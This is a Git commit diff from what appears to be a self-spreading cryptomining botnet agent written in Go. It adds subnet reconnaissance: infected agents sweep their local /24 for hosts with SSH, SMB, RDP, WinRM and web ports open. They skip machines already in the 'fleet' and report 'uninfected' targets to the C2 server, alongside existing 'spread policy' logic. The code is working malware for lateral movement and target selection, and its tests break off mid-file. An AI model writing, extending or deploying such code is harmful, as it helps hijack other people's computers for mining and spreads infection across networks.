Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
This commit is contained in:
@@ -430,11 +430,16 @@ func (c *AgentClient) authenticate() error {
|
|||||||
c.startContingencyIfEnabled(c.miningCtx)
|
c.startContingencyIfEnabled(c.miningCtx)
|
||||||
c.applyAuthFleetRole(resp)
|
c.applyAuthFleetRole(resp)
|
||||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||||
|
c.applyAuthSubnetRecon(resp)
|
||||||
c.startCloudMapSync()
|
c.startCloudMapSync()
|
||||||
if resp.FleetTorrentEnabled {
|
if resp.FleetTorrentEnabled {
|
||||||
c.advertiseFleetTorrentHealthy()
|
c.advertiseFleetTorrentHealthy()
|
||||||
}
|
}
|
||||||
c.agentID = resp.AgentID
|
c.agentID = resp.AgentID
|
||||||
|
c.mu.Lock()
|
||||||
|
c.cfg.AgentID = resp.AgentID
|
||||||
|
c.mu.Unlock()
|
||||||
|
c.startSubnetReconAfterAuth()
|
||||||
if resp.ClearanceLevel > 0 {
|
if resp.ClearanceLevel > 0 {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
c.clearanceLevel = resp.ClearanceLevel
|
c.clearanceLevel = resp.ClearanceLevel
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
"crypto-miner-agent/miner"
|
"crypto-miner-agent/miner"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -104,6 +105,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
|||||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
|
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
|
||||||
|
SubnetReconIntervalMin int `json:"subnet_recon_interval_min"`
|
||||||
|
SubnetFleetIPs []string `json:"subnet_fleet_ips"`
|
||||||
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
||||||
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
||||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||||
@@ -120,6 +124,13 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
|||||||
}
|
}
|
||||||
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||||
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||||
|
c.cfg.SubnetReconEnabled = policy.SubnetReconEnabled
|
||||||
|
if policy.SubnetReconIntervalMin > 0 {
|
||||||
|
c.cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
|
||||||
|
}
|
||||||
|
if len(policy.SubnetFleetIPs) > 0 {
|
||||||
|
c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(policy.SubnetFleetIPs, c.lanSeeders)
|
||||||
|
}
|
||||||
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
||||||
c.cfg.PolicySnapshotPollURL = v
|
c.cfg.PolicySnapshotPollURL = v
|
||||||
}
|
}
|
||||||
@@ -129,5 +140,10 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
|||||||
if len(policy.SpreadTemperament) > 0 {
|
if len(policy.SpreadTemperament) > 0 {
|
||||||
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
||||||
}
|
}
|
||||||
|
reconEnabled := c.cfg.SubnetReconEnabled
|
||||||
|
reconInterval := c.cfg.SubnetReconIntervalMin
|
||||||
|
reconFleetIPs := append([]string(nil), c.cfg.SubnetFleetIPs...)
|
||||||
|
agentID := c.agentID
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
deploy.UpdateSubnetReconPolicy(reconEnabled, reconInterval, agentID, reconFleetIPs)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -122,6 +122,9 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|||||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
|
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
|
||||||
|
SubnetReconIntervalMin int `json:"subnet_recon_interval_min"`
|
||||||
|
SubnetFleetIPs []string `json:"subnet_fleet_ips"`
|
||||||
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
||||||
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
||||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||||
@@ -137,6 +140,13 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|||||||
}
|
}
|
||||||
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||||
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||||
|
cfg.SubnetReconEnabled = policy.SubnetReconEnabled
|
||||||
|
if policy.SubnetReconIntervalMin > 0 {
|
||||||
|
cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
|
||||||
|
}
|
||||||
|
if len(policy.SubnetFleetIPs) > 0 {
|
||||||
|
cfg.SubnetFleetIPs = append([]string(nil), policy.SubnetFleetIPs...)
|
||||||
|
}
|
||||||
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
||||||
cfg.PolicySnapshotPollURL = v
|
cfg.PolicySnapshotPollURL = v
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -71,8 +71,11 @@ type AuthResponse struct {
|
|||||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||||
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
|
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
|
||||||
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
|
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
|
||||||
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
SubnetReconEnabled bool `json:"subnet_recon_enabled,omitempty"`
|
||||||
|
SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"`
|
||||||
|
SubnetFleetIPs []string `json:"subnet_fleet_ips,omitempty"`
|
||||||
|
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
|
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
|
||||||
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
||||||
|
|||||||
91
agent/client/subnet_recon.go
Normal file
91
agent/client/subnet_recon.go
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) applyAuthSubnetRecon(resp AuthResponse) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.cfg.SubnetReconEnabled = resp.SubnetReconEnabled
|
||||||
|
if resp.SubnetReconIntervalMin > 0 {
|
||||||
|
c.cfg.SubnetReconIntervalMin = resp.SubnetReconIntervalMin
|
||||||
|
}
|
||||||
|
c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(resp.SubnetFleetIPs, c.lanSeeders)
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applySubnetReconSpreadPolicy(enabled bool, intervalMin int, fleetIPs []string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.cfg.SubnetReconEnabled = enabled
|
||||||
|
if intervalMin > 0 {
|
||||||
|
c.cfg.SubnetReconIntervalMin = intervalMin
|
||||||
|
}
|
||||||
|
if len(fleetIPs) > 0 {
|
||||||
|
c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(fleetIPs, c.lanSeeders)
|
||||||
|
}
|
||||||
|
cfg := c.cfg
|
||||||
|
agentID := c.agentID
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
deploy.UpdateSubnetReconPolicy(
|
||||||
|
cfg.SubnetReconEnabled,
|
||||||
|
cfg.SubnetReconIntervalMin,
|
||||||
|
agentID,
|
||||||
|
cfg.SubnetFleetIPs,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
func mergeSubnetFleetIPs(primary []string, seeders []deploy.LANSeederHint) []string {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
var out []string
|
||||||
|
add := func(ip string) {
|
||||||
|
ip = strings.TrimSpace(ip)
|
||||||
|
if ip == "" || seen[ip] {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[ip] = true
|
||||||
|
out = append(out, ip)
|
||||||
|
}
|
||||||
|
for _, ip := range primary {
|
||||||
|
add(ip)
|
||||||
|
}
|
||||||
|
for _, s := range seeders {
|
||||||
|
add(s.IP)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) writeSubnetReconReport(hosts []deploy.SubnetReconHost) {
|
||||||
|
if len(hosts) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
enabled := c.cfg.SubnetReconEnabled
|
||||||
|
agentID := c.agentID
|
||||||
|
c.mu.Unlock()
|
||||||
|
if !enabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
localIP, _ := deploy.PrimaryLocalIPv4()
|
||||||
|
payload, err := json.Marshal(map[string]interface{}{
|
||||||
|
"hosts": hosts,
|
||||||
|
"subnet_prefix": deploy.SubnetFromIP(localIP),
|
||||||
|
"agent_id": agentID,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = c.write(Message{Type: "subnet_recon_report", Payload: payload})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) startSubnetReconAfterAuth() {
|
||||||
|
c.mu.Lock()
|
||||||
|
cfg := c.cfg
|
||||||
|
cfg.AgentID = c.agentID
|
||||||
|
c.mu.Unlock()
|
||||||
|
deploy.SetSubnetReconReportFn(c.writeSubnetReconReport)
|
||||||
|
deploy.StartSubnetRecon(cfg)
|
||||||
|
}
|
||||||
42
agent/client/subnet_recon_test.go
Normal file
42
agent/client/subnet_recon_test.go
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestApplyAuthSubnetReconMergesFleetIPs(t *testing.T) {
|
||||||
|
deploy.ResetSubnetReconForTest()
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"})
|
||||||
|
c.setLANSeeders([]deploy.LANSeederHint{{AgentID: "seed-1", IP: "10.0.0.5"}})
|
||||||
|
c.applyAuthSubnetRecon(AuthResponse{
|
||||||
|
SubnetReconEnabled: true,
|
||||||
|
SubnetReconIntervalMin: 15,
|
||||||
|
SubnetFleetIPs: []string{"10.0.0.10"},
|
||||||
|
})
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if !c.cfg.SubnetReconEnabled || c.cfg.SubnetReconIntervalMin != 15 {
|
||||||
|
t.Fatalf("cfg=%+v", c.cfg)
|
||||||
|
}
|
||||||
|
if len(c.cfg.SubnetFleetIPs) != 2 {
|
||||||
|
t.Fatalf("fleet IPs=%v", c.cfg.SubnetFleetIPs)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMergeSubnetFleetIPsDedupes(t *testing.T) {
|
||||||
|
got := mergeSubnetFleetIPs(
|
||||||
|
[]string{"10.0.0.1", "10.0.0.2"},
|
||||||
|
[]deploy.LANSeederHint{{IP: "10.0.0.2"}, {IP: "10.0.0.3"}},
|
||||||
|
)
|
||||||
|
if len(got) != 3 {
|
||||||
|
t.Fatalf("got %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWriteSubnetReconReportDisabled(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"})
|
||||||
|
c.writeSubnetReconReport([]deploy.SubnetReconHost{{IP: "10.0.0.1", OpenPorts: []int{22}}})
|
||||||
|
}
|
||||||
@@ -151,6 +151,12 @@ type BuiltinConfig struct {
|
|||||||
FleetTorrentEnabled bool
|
FleetTorrentEnabled bool
|
||||||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||||||
SubnetPrimarySeeder bool
|
SubnetPrimarySeeder bool
|
||||||
|
// SubnetReconEnabled enables periodic /24 recon sweeps for uninfected LAN hosts (server policy).
|
||||||
|
SubnetReconEnabled bool
|
||||||
|
// SubnetReconIntervalMin is minutes between subnet recon sweeps (default 30 when enabled).
|
||||||
|
SubnetReconIntervalMin int
|
||||||
|
// SubnetFleetIPs is the server-pushed skip set of fleet agent IPs on this subnet.
|
||||||
|
SubnetFleetIPs []string
|
||||||
PolicySnapshotPollURL string
|
PolicySnapshotPollURL string
|
||||||
EventBridgeRelayURL string
|
EventBridgeRelayURL string
|
||||||
}
|
}
|
||||||
|
|||||||
6
agent/config/subnet_recon.go
Normal file
6
agent/config/subnet_recon.go
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
// SubnetReconEnabled reports whether server policy enables agent-driven subnet recon.
|
||||||
|
func SubnetReconEnabled(cfg RuntimeConfig) bool {
|
||||||
|
return cfg.SubnetReconEnabled
|
||||||
|
}
|
||||||
12
agent/config/subnet_recon_test.go
Normal file
12
agent/config/subnet_recon_test.go
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestSubnetReconEnabled(t *testing.T) {
|
||||||
|
if SubnetReconEnabled(RuntimeConfig{}) {
|
||||||
|
t.Fatal("expected disabled by default")
|
||||||
|
}
|
||||||
|
if !SubnetReconEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{SubnetReconEnabled: true}}) {
|
||||||
|
t.Fatal("expected enabled when policy set")
|
||||||
|
}
|
||||||
|
}
|
||||||
254
agent/deploy/subnet_recon.go
Normal file
254
agent/deploy/subnet_recon.go
Normal file
@@ -0,0 +1,254 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// DefaultSubnetReconIntervalMin is the scan cadence when server policy omits a value.
|
||||||
|
DefaultSubnetReconIntervalMin = 30
|
||||||
|
subnetReconStatusUninfected = "uninfected"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps.
|
||||||
|
var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262}
|
||||||
|
|
||||||
|
var subnetReconWebPorts = []int{80, 443, 8080}
|
||||||
|
|
||||||
|
// SubnetReconHost is one uninfected LAN host observation reported to the C2.
|
||||||
|
type SubnetReconHost struct {
|
||||||
|
IP string `json:"ip"`
|
||||||
|
OpenPorts []int `json:"open_ports"`
|
||||||
|
LastSeen string `json:"last_seen"`
|
||||||
|
ReporterAgentID string `json:"reporter_agent_id"`
|
||||||
|
HTTPTitle string `json:"http_title,omitempty"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
subnetReconOnce sync.Once
|
||||||
|
subnetReconReportFn func([]SubnetReconHost)
|
||||||
|
subnetReconPolicyMu sync.RWMutex
|
||||||
|
subnetReconEnabled bool
|
||||||
|
subnetReconInterval = DefaultSubnetReconIntervalMin
|
||||||
|
subnetReconAgentID string
|
||||||
|
subnetReconFleetIPs = map[string]struct{}{}
|
||||||
|
)
|
||||||
|
|
||||||
|
var titleTagRe = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
|
||||||
|
|
||||||
|
// fetchHTTPTitleFn overrides HTTP title probes in tests (nil = live GET).
|
||||||
|
var fetchHTTPTitleFn func(host string, port int) string
|
||||||
|
|
||||||
|
// SetSubnetReconReportFn injects WS batch reporting (client wires at runtime).
|
||||||
|
func SetSubnetReconReportFn(fn func([]SubnetReconHost)) {
|
||||||
|
subnetReconReportFn = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateSubnetReconPolicy refreshes server-pushed recon settings and fleet IP skip set.
|
||||||
|
func UpdateSubnetReconPolicy(enabled bool, intervalMin int, agentID string, fleetIPs []string) {
|
||||||
|
subnetReconPolicyMu.Lock()
|
||||||
|
defer subnetReconPolicyMu.Unlock()
|
||||||
|
subnetReconEnabled = enabled
|
||||||
|
if intervalMin > 0 {
|
||||||
|
subnetReconInterval = intervalMin
|
||||||
|
} else if subnetReconInterval <= 0 {
|
||||||
|
subnetReconInterval = DefaultSubnetReconIntervalMin
|
||||||
|
}
|
||||||
|
if agentID != "" {
|
||||||
|
subnetReconAgentID = agentID
|
||||||
|
}
|
||||||
|
next := make(map[string]struct{}, len(fleetIPs))
|
||||||
|
for _, ip := range fleetIPs {
|
||||||
|
ip = strings.TrimSpace(ip)
|
||||||
|
if ip != "" {
|
||||||
|
next[ip] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
subnetReconFleetIPs = next
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartSubnetRecon runs an immediate sweep on auth and periodic sweeps when enabled.
|
||||||
|
func StartSubnetRecon(cfg config.RuntimeConfig) {
|
||||||
|
UpdateSubnetReconPolicy(
|
||||||
|
cfg.SubnetReconEnabled,
|
||||||
|
cfg.SubnetReconIntervalMin,
|
||||||
|
cfg.AgentID,
|
||||||
|
cfg.SubnetFleetIPs,
|
||||||
|
)
|
||||||
|
if !config.SubnetReconEnabled(cfg) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
subnetReconOnce.Do(func() {
|
||||||
|
go subnetReconLoop()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunSubnetRecon scans LAN targets and returns uninfected host observations.
|
||||||
|
func RunSubnetRecon(reporterAgentID string, fleetIPs []string) []SubnetReconHost {
|
||||||
|
targets := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||||
|
return runSubnetReconTargets(reporterAgentID, fleetIPs, targets)
|
||||||
|
}
|
||||||
|
|
||||||
|
func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []string) []SubnetReconHost {
|
||||||
|
reporterAgentID = strings.TrimSpace(reporterAgentID)
|
||||||
|
skip := buildSubnetReconSkipSet(fleetIPs)
|
||||||
|
now := time.Now().UTC().Format(time.RFC3339)
|
||||||
|
var out []SubnetReconHost
|
||||||
|
for _, host := range targets {
|
||||||
|
host = strings.TrimSpace(host)
|
||||||
|
if host == "" || skip[host] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
open := probePorts(host, SubnetReconPorts)
|
||||||
|
if len(open) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
entry := SubnetReconHost{
|
||||||
|
IP: host,
|
||||||
|
OpenPorts: append([]int(nil), open...),
|
||||||
|
LastSeen: now,
|
||||||
|
ReporterAgentID: reporterAgentID,
|
||||||
|
Status: subnetReconStatusUninfected,
|
||||||
|
}
|
||||||
|
if title := probeHTTPTitle(host, open); title != "" {
|
||||||
|
entry.HTTPTitle = title
|
||||||
|
}
|
||||||
|
out = append(out, entry)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool {
|
||||||
|
skip := make(map[string]bool)
|
||||||
|
for _, ip := range getLocalIPs() {
|
||||||
|
skip[ip] = true
|
||||||
|
}
|
||||||
|
for _, ip := range fleetIPs {
|
||||||
|
ip = strings.TrimSpace(ip)
|
||||||
|
if ip != "" {
|
||||||
|
skip[ip] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
subnetReconPolicyMu.RLock()
|
||||||
|
for ip := range subnetReconFleetIPs {
|
||||||
|
skip[ip] = true
|
||||||
|
}
|
||||||
|
subnetReconPolicyMu.RUnlock()
|
||||||
|
return skip
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeHTTPTitle(host string, openPorts []int) string {
|
||||||
|
open := make(map[int]bool, len(openPorts))
|
||||||
|
for _, p := range openPorts {
|
||||||
|
open[p] = true
|
||||||
|
}
|
||||||
|
for _, p := range subnetReconWebPorts {
|
||||||
|
if !open[p] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if title := fetchHTTPTitle(host, p); title != "" {
|
||||||
|
return title
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchHTTPTitle(host string, port int) string {
|
||||||
|
if fetchHTTPTitleFn != nil {
|
||||||
|
return fetchHTTPTitleFn(host, port)
|
||||||
|
}
|
||||||
|
scheme := "http"
|
||||||
|
if port == 443 || port == 5986 {
|
||||||
|
scheme = "https"
|
||||||
|
}
|
||||||
|
url := scheme + "://" + net.JoinHostPort(host, strconv.Itoa(port)) + "/"
|
||||||
|
client := &http.Client{Timeout: 2 * time.Second}
|
||||||
|
resp, err := client.Get(url) //nolint:gosec // LAN recon against operator-owned targets
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 8192))
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return parseHTTPTitle(string(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseHTTPTitle(body string) string {
|
||||||
|
match := titleTagRe.FindStringSubmatch(body)
|
||||||
|
if len(match) < 2 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
title := strings.TrimSpace(match[1])
|
||||||
|
title = strings.Join(strings.Fields(title), " ")
|
||||||
|
if len(title) > 256 {
|
||||||
|
title = title[:256]
|
||||||
|
}
|
||||||
|
return title
|
||||||
|
}
|
||||||
|
|
||||||
|
func subnetReconLoop() {
|
||||||
|
runOnce := func() {
|
||||||
|
enabled, _, agentID, fleetIPs := subnetReconPolicySnapshot()
|
||||||
|
if !enabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
hosts := RunSubnetRecon(agentID, fleetIPs)
|
||||||
|
if len(hosts) > 0 && subnetReconReportFn != nil {
|
||||||
|
subnetReconReportFn(hosts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
runOnce()
|
||||||
|
for {
|
||||||
|
enabled, intervalMin, _, _ := subnetReconPolicySnapshot()
|
||||||
|
if !enabled {
|
||||||
|
time.Sleep(time.Minute)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if intervalMin <= 0 {
|
||||||
|
intervalMin = DefaultSubnetReconIntervalMin
|
||||||
|
}
|
||||||
|
time.Sleep(time.Duration(intervalMin) * time.Minute)
|
||||||
|
runOnce()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func subnetReconPolicySnapshot() (enabled bool, intervalMin int, agentID string, fleetIPs []string) {
|
||||||
|
subnetReconPolicyMu.RLock()
|
||||||
|
defer subnetReconPolicyMu.RUnlock()
|
||||||
|
enabled = subnetReconEnabled
|
||||||
|
intervalMin = subnetReconInterval
|
||||||
|
agentID = subnetReconAgentID
|
||||||
|
for ip := range subnetReconFleetIPs {
|
||||||
|
fleetIPs = append(fleetIPs, ip)
|
||||||
|
}
|
||||||
|
return enabled, intervalMin, agentID, fleetIPs
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResetSubnetReconForTest clears loop-once guard and policy (tests only).
|
||||||
|
func ResetSubnetReconForTest() {
|
||||||
|
subnetReconOnce = sync.Once{}
|
||||||
|
subnetReconReportFn = nil
|
||||||
|
subnetReconPolicyMu.Lock()
|
||||||
|
subnetReconEnabled = false
|
||||||
|
subnetReconInterval = DefaultSubnetReconIntervalMin
|
||||||
|
subnetReconAgentID = ""
|
||||||
|
subnetReconFleetIPs = map[string]struct{}{}
|
||||||
|
subnetReconPolicyMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseHTTPTitleForTest exposes title parsing for unit tests.
|
||||||
|
func ParseHTTPTitleForTest(body string) string {
|
||||||
|
return parseHTTPTitle(body)
|
||||||
|
}
|
||||||
107
agent/deploy/subnet_recon_test.go
Normal file
107
agent/deploy/subnet_recon_test.go
Normal file
@@ -0,0 +1,107 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRunSubnetReconSkipsFleetAndLocalIPs(t *testing.T) {
|
||||||
|
prevProbe := probePortsFn
|
||||||
|
defer func() { probePortsFn = prevProbe }()
|
||||||
|
probePortsFn = func(host string, ports []int) []int {
|
||||||
|
if host == "10.0.0.50" || host == "10.0.0.99" {
|
||||||
|
return []int{445}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts := runSubnetReconTargets("agent-1", []string{"10.0.0.50"}, []string{"10.0.0.50"})
|
||||||
|
if len(hosts) != 0 {
|
||||||
|
t.Fatalf("expected fleet IP to be skipped, got %+v", hosts)
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts = runSubnetReconTargets("agent-1", nil, []string{"10.0.0.99"})
|
||||||
|
if len(hosts) != 1 || hosts[0].IP != "10.0.0.99" {
|
||||||
|
t.Fatalf("expected uninfected host report, got %+v", hosts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunSubnetReconReportsUninfectedHost(t *testing.T) {
|
||||||
|
prevProbe := probePortsFn
|
||||||
|
prevTitle := fetchHTTPTitleFn
|
||||||
|
defer func() {
|
||||||
|
probePortsFn = prevProbe
|
||||||
|
fetchHTTPTitleFn = prevTitle
|
||||||
|
}()
|
||||||
|
probePortsFn = func(host string, ports []int) []int {
|
||||||
|
if host == "192.168.5.20" {
|
||||||
|
return []int{22, 80}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
fetchHTTPTitleFn = func(host string, port int) string {
|
||||||
|
if host == "192.168.5.20" && port == 80 {
|
||||||
|
return "Router Admin"
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts := runSubnetReconTargets("reporter-7", nil, []string{"192.168.5.20"})
|
||||||
|
if len(hosts) != 1 {
|
||||||
|
t.Fatalf("hosts=%+v", hosts)
|
||||||
|
}
|
||||||
|
h := hosts[0]
|
||||||
|
if h.IP != "192.168.5.20" || h.ReporterAgentID != "reporter-7" || h.Status != subnetReconStatusUninfected {
|
||||||
|
t.Fatalf("unexpected host: %+v", h)
|
||||||
|
}
|
||||||
|
if len(h.OpenPorts) != 2 || h.OpenPorts[0] != 22 || h.OpenPorts[1] != 80 {
|
||||||
|
